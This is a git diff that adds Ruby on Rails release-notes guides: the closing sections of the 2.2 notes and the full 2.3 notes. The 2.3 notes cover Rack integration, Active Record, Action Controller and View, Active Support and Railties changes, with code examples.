+ * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+ * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
+
+### Other Railties Changes
+
+* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
+* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins.
+* `script/console` now supports a `--debugger` option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
+* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
+* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+ ```ruby
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+ ```
+
+ Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.
+* `ActiveRecord::Base.allow_concurrency` no longer has any effect.
+* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
+* The `%s` and `%d` interpolation syntax for internationalization is deprecated.
+* `String#chars` has been deprecated in favor of `String#mb_chars`.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
+* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com)
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
new file mode 100644
index 0000000..7aef566
--- /dev/null
+++ b/guides/source/2_3_release_notes.md
@@ -0,0 +1,621 @@
+Ruby on Rails 2.3 Release Notes
+===============================
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in t [...]
+
+--------------------------------------------------------------------------------
+
+Application Architecture
+------------------------
+
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
+
+### Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
+* The FCGI handler goes through Rack.
+* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
+* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* `CgiRequest` and `CgiResponse` have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
+* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
+* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
+* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
+* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
+* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
+* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
+* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
+* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
+* `ActionController::Request` inherits from `Rack::Request`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
+
+### Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view pat [...]
+
+Documentation
+-------------
+
+The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+
+* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+Ruby 1.9.1 Support
+------------------
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+Active Record
+-------------
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+### Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+```ruby
+class Book < ActiveRecord::Base
+ has_one :author
+ has_many :pages
+
+ accepts_nested_attributes_for :author, :pages
+end
+```
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:
+
+```ruby
+accepts_nested_attributes_for :author,
+ :reject_if => proc { |attributes| attributes['name'].blank? }
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+
+### Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+```ruby
+User.transaction do
+ User.create(:username => 'Admin')
+ User.transaction(:requires_new => true) do
+ User.create(:username => 'Regular')
+ raise ActiveRecord::Rollback
+ end
+end
+
+User.find(:all) # => Returns only Admin
+```
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't ha [...]
+
+* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/)
+
+### Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+```ruby
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+ :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+```
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/)
+* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.)
+
+### Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)
+
+### Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`:
+
+```ruby
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+ customer_group.each { |customer| customer.update_account_balance! }
+end
+```
+
+You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+```ruby
+Customer.find_each do |customer|
+ customer.update_account_balance!
+end
+```
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just `each`):
+ * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
+ * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)
+
+### Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:
+
+```ruby
+before_save :update_credit_rating, :if => :active,
+ :unless => [:admin, :cash_only]
+```
+* Lead Contributor: L. Caviola
+
+### Find with having
+
+Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+```ruby
+developers = Developer.find(:all, :group => "salary",
+ :having => "sum(salary) > 10000", :select => "salary")
+```
+
+* Lead Contributor: [Emilio Tagua](http://github.com/miloops)
+
+### Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: [Dov Murik](http://twitter.com/dubek)
+* More information:
+ * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html)
+ * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
+
+### Other Active Record Changes
+
+* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
+* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
+* A bug in quoting table names in some `has_many :through` associations was fixed.
+* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
+* Better error messages on failed `find_by_attribute!` calls.
+* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
+* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
+* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.
+
+Action Controller
+-----------------
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+### Unified Rendering
+
+`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+```ruby
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+```
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+```ruby
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+```
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
+
+### Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
+
+* More Information:
+ * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+ * [What's New in Edge Rails: Application.rb Duality is no More](http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
+
+### HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+
+```ruby
+class PostsController < ApplicationController
+ Users = {"dhh" => "secret"}
+ before_filter :authenticate
+
+ def secret
+ render :text => "Password Required!"
+ end
+
+ private
+ def authenticate
+ realm = "Application"
+ authenticate_or_request_with_http_digest(realm) do |name|
+ Users[name]
+ end
+ end
+end
+```
+
+* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/)
+* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication)
+
+### More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes [...]
+
+* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)
+
+### Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In [...]
+
+### MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+```ruby
+if content_type && Mime::JS =~ content_type
+ # do something cool
+end
+
+Mime::JS =~ "text/javascript" => true
+Mime::JS =~ "application/javascript" => true
+```
+
+The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons)
+
+### Optimization of `respond_to`
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between th [...]
+
+### Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)
+
+### Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an arr [...]
+
+In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+
+### Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+### Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
+* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
+* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
+* The `:requirements` option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* `polymorphic_url` does a better job of handling objects with irregular plural names.
+
+Action View
+-----------
+
+Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+### Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+
+ accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+```
+
+You can write this view in Rails 2.3:
+
+```html+erb
+<% form_for @customer do |customer_form| %>
+ <div>
+ <%= customer_form.label :name, 'Customer Name:' %>
+ <%= customer_form.text_field :name %>
+ </div>
+
+ <!-- Here we call fields_for on the customer_form builder instance.
+ The block is called for each member of the orders collection. -->
+ <% customer_form.fields_for :orders do |order_form| %>
+ <p>
+ <div>
+ <%= order_form.label :number, 'Order Number:' %>
+ <%= order_form.text_field :number %>
+ </div>
+
+ <!-- The allow_destroy option in the model enables deletion of
+ child records. -->
+ <% unless order_form.object.new_record? %>
+ <div>
+ <%= order_form.label :_delete, 'Remove:' %>
+ <%= order_form.check_box :_delete %>
+ </div>
+ <% end %>
+ </p>
+ <% end %>
+
+ <%= customer_form.submit %>
+<% end %>
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information:
+ * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+ * [complex-form-examples](http://github.com/alloy/complex-form-examples)
+ * [What's New in Edge Rails: Nested Object Forms](http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
+
+### Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+```ruby
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+```
+
+* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance)
+
+### Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:
+
+```ruby
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+ {:day => 'Choose day', :month => 'Choose month',
+ :year => 'Choose year', :hour => 'Choose hour',
+ :minute => 'Choose minute'})
+```
+
+* Lead Contributor: [Sam Oliver](http://samoliver.com/)
+
+### AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value [...]
+
+### Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
+
+* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)
+
+### grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:
+
+```ruby
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+ "Cowboy Hat", "Choose a product...")
+```
+
+returns
+
+```ruby
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+ <option value="Baseball Cap">Baseball Cap</option>
+ <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+```
+
+### Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+```ruby
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+```
+
+returns
+
+```html
+<select name=“post[category]“>
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled=“disabled“>private</option>
+</select>
+```
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+```ruby
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+```
+
+* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+
+### A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:
+
+```ruby
+config.action_view.cache_template_loading = true
+```
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+### Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
+* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
+* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
+* `current_page?` now works properly even when there are multiple query parameters in the URL.
+
+Active Support
+--------------
+
+Active Support has a few interesting changes, including the introduction of `Object#try`.
+
+### Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.
+
+* More Information: [try()](http://ozmm.org/posts/try.html.)
+
+### Object#tap Backport
+
+`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+### Swappable Parsers for XMLmini
+
+The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+```ruby
+XmlMini.backend = 'LibXML'
+```
+
+* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/)
+* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)
+
+### Fractional seconds for TimeWithZone
+
+The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
+
+```ruby
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+```
+
+* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
+
+### JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+### Other Active Support Changes
+
+* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
+* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
+* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
+* `number_to_phone` accepts 7-digit phone numbers now.
+* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.
+
+Railties
+--------
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+### Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+ * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+ * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
+ * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
+ * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
+
+### Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's [rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
+
+```
+rake rails:template LOCATION=~/template.rb
+```
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
+* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)
+
+### Quieter Backtraces
+
+Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new applicati [...]
+
+### Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+### rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and [...]
+
+* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)
+
+### Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
+* The default `environment.rb` file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
